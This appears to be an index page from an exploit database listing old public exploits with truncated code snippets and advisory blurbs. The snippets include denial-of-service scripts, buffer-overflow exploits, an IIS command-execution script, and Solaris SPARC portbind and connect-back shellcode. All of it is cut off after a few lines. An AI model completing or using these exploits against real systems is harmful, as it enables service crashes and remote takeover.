Colloquy 2.1.3545 - INVITE Format String Denial of Service

Colloquy 2.1.3545 - INVITE Format String Denial of Service !/usr/bin/ruby c Copyright 2006 Lance M. Havok Makes use of the Colloquy INVITE format string vulnerability. require 'socket' targetchannel = ARGV0 || "whatever" targetserver = ARGV1 || "irc.server.org" targetport = ARGV2 || 6667 randnick...

Cyrus IMAPD 2.3.2 (pop3d) Remote Buffer Overflow Exploit (2)

No description provided by source. !/usr/bin/ruby cyrus-imapd pop3d exploit by bannedit 05/23/2006 This exploit takes advantage of a stack based overflow. Once the stack corruption has occured it is possible to overwrite a pointer which is later used for a memcpy this gives us a write anything...

Yukihiro Matsumoto Ruby 1.x - XMLRPC Server Denial of Service

Yukihiro Matsumoto Ruby 1.x - XMLRPC Server Denial of Service source: https://www.securityfocus.com/bid/17645/info Ruby is affected by a denial-of-service vulnerability in the WEBrick HTTP server. This issue is due to the use of blocking network operations. Ruby's implementation of XML/RPC is als...

solaris/sparc portbind port 6666 240 bytes

solaris/sparc portbind port 6666 240 bytes. Shellcode exploit for solarissparc platform / [email protected] portbind shellcode full description of how it was done and defines at http://www.telegenetic.net/sparc-shellcode.htm / char shellcode= "\x9A\x1A\x40\x09" / xor %o1, %o1, %o5 /...

Secure Network Messenger 1.4.2 - Denial of Service

!/usr/bin/perl use IO::Socket; print "\nSecure Network Messenger Crasher by ClearScreen\n"; print "\nEnter host to crash: "; $h = ; chomp $h; $socks = IO::Socket::INET-new Proto = "tcp", PeerPort = "6144", PeerAddr = "$h" or die "\nNo response from host."; sleep 1; print "\nSuccesfully connected ...

solaris/SPARC connect-back 204 bytes

solaris/SPARC connect-back 204 bytes. Shellcode exploit for solarissparc platform / Solaris shellcode - connects /bin/sh to a host Claes M. Nyberg 20020624 , / include / void mainvoid asm" ! Create socket mov 0x2, %o0 ! o0 = AFINET mov 0x2, %o1 ! o1 = SOCKSTREAM xor %o2, %o2, %o2 ! o2 = 0 mov 0xe...

CVE-2004-0419

XDM in XFree86 opens a chooserFd TCP socket even when DisplayManager.requestPort is 0, which could allow remote attackers to connect to the port, in violation of the intended restrictions...

Mandrake Linux Security Advisory : XFree86 (MDKSA-2004:073)

Steve Rumble discovered XDM in XFree86 opens a chooserFd TCP socket even when DisplayManager.requestPort is 0, which could allow remote attackers to connect to the port, in violation of the intended restrictions. The updated packages are patched to correct the problem. %NASLMINLEVEL 70300 C Tenab...

Microsoft Windows SMS 2.0 - Denial of Service

!/usr/bin/perl SMS DOS proof of concept and test code use Socket; use IO::Socket; if @ARGV != 1 print "usage: $0 \n"; exit; $host = shift@ARGV; $hexmsg =...

FreeBSD : XFree86 opens a chooserFd TCP socket even when DisplayManager.requestPort is 0 (210)

The following package needs to be updated: xorg-clients %NASLMINLEVEL 999999 @DEPRECATED@ This script has been deprecated by freebsdpkgff00f2cec54c11d8b70800061bc2ad93.nasl. Disabled on 2011/10/02. C Tenable Network Security, Inc. This script contains information extracted from VuXML : Copyright...

CVE-2004-0419

XDM in XFree86 opens a chooserFd TCP socket even when DisplayManager.requestPort is 0, which could allow remote attackers to connect to the port, in violation of the intended restrictions...

CVE-2004-0419

XDM in XFree86 opens a chooserFd TCP socket even when DisplayManager.requestPort is 0, which could allow remote attackers to connect to the port, in violation of the intended restrictions...

GNU CFEngine 2.-2.0.3 - Remote Stack Overflow

GNU CFEngine 2.-2.0.3 - Remote Stack Overflow !/usr/bin/perl -s kokaninATdtors.net / cfengine2-2.0.3 from freebsd ports 26/sep/2003. forking portbind shellcode port=0xb0ef45295 by eSDee bug discovered by nick cleaton, tested on FreeBSD 4.8-RELEASE use IO::Socket; if!$ARGV1 print "usage:...

Veritas BackupExec (remote DoS)

Hello, I am using Backup system from Veritas Software http://www.veritas.com/ and its Linux agent. That agent is listening TCP-socket 8192 in my system and if someone makes connection to that socket, but do not send anything to it, the agent hangs forever, even if you close that connection. For...

Microsoft IIS 4.05.0 and PWS - Extended Unicode Directory Traversal (8)

Microsoft IIS 4.05.0 and PWS - Extended Unicode Directory Traversal 8 !/usr/bin/perl See http://www.securityfocus.com/vdb/bottom.html?section=exploit&vid=1806 Very simple PERL script to execute commands on IIS Unicode vulnerable servers Use port number with SSLproxy for testing SSL sites Usage:...

ISC BIND 8.2.2 IRIX 6.5.17 Solaris 7.0 - NXT Overflow Denial of Service

ISC BIND 8.2.2 IRIX 6.5.17 Solaris 7.0 - NXT Overflow Denial of Service // source: https://www.securityfocus.com/bid/788/info There are several vulnerabilities in recent BIND packages pre 8.2.2. The first is a buffer overflow condition which is a result of BIND improperly validating NXT records...

ISC BIND 8.2.2 / IRIX 6.5.17 / Solaris 7.0 - NXT Overflow / Denial of Service

// source: https://www.securityfocus.com/bid/788/info There are several vulnerabilities in recent BIND packages pre 8.2.2. The first is a buffer overflow condition which is a result of BIND improperly validating NXT records. The consequence of this being exploited is a remote root compromise...

Novell Client 3.03.0.1 - Denial of Service

Novell Client 3.03.0.1 - Denial of Service source: https://www.securityfocus.com/bid/700/info Novell client versions 3.0 and 3.01 for Windows platforms are vulnerable to a remotely exploitable vulnerability which could cause a denial of service. The client opens a listening tcp socket on port 427...

Novell Client 3.0/3.0.1 - Denial of Service

source: https://www.securityfocus.com/bid/700/info Novell client versions 3.0 and 3.01 for Windows platforms are vulnerable to a remotely exploitable vulnerability which could cause a denial of service. The client opens a listening tcp socket on port 427, to which if a SYN is sent, results in the...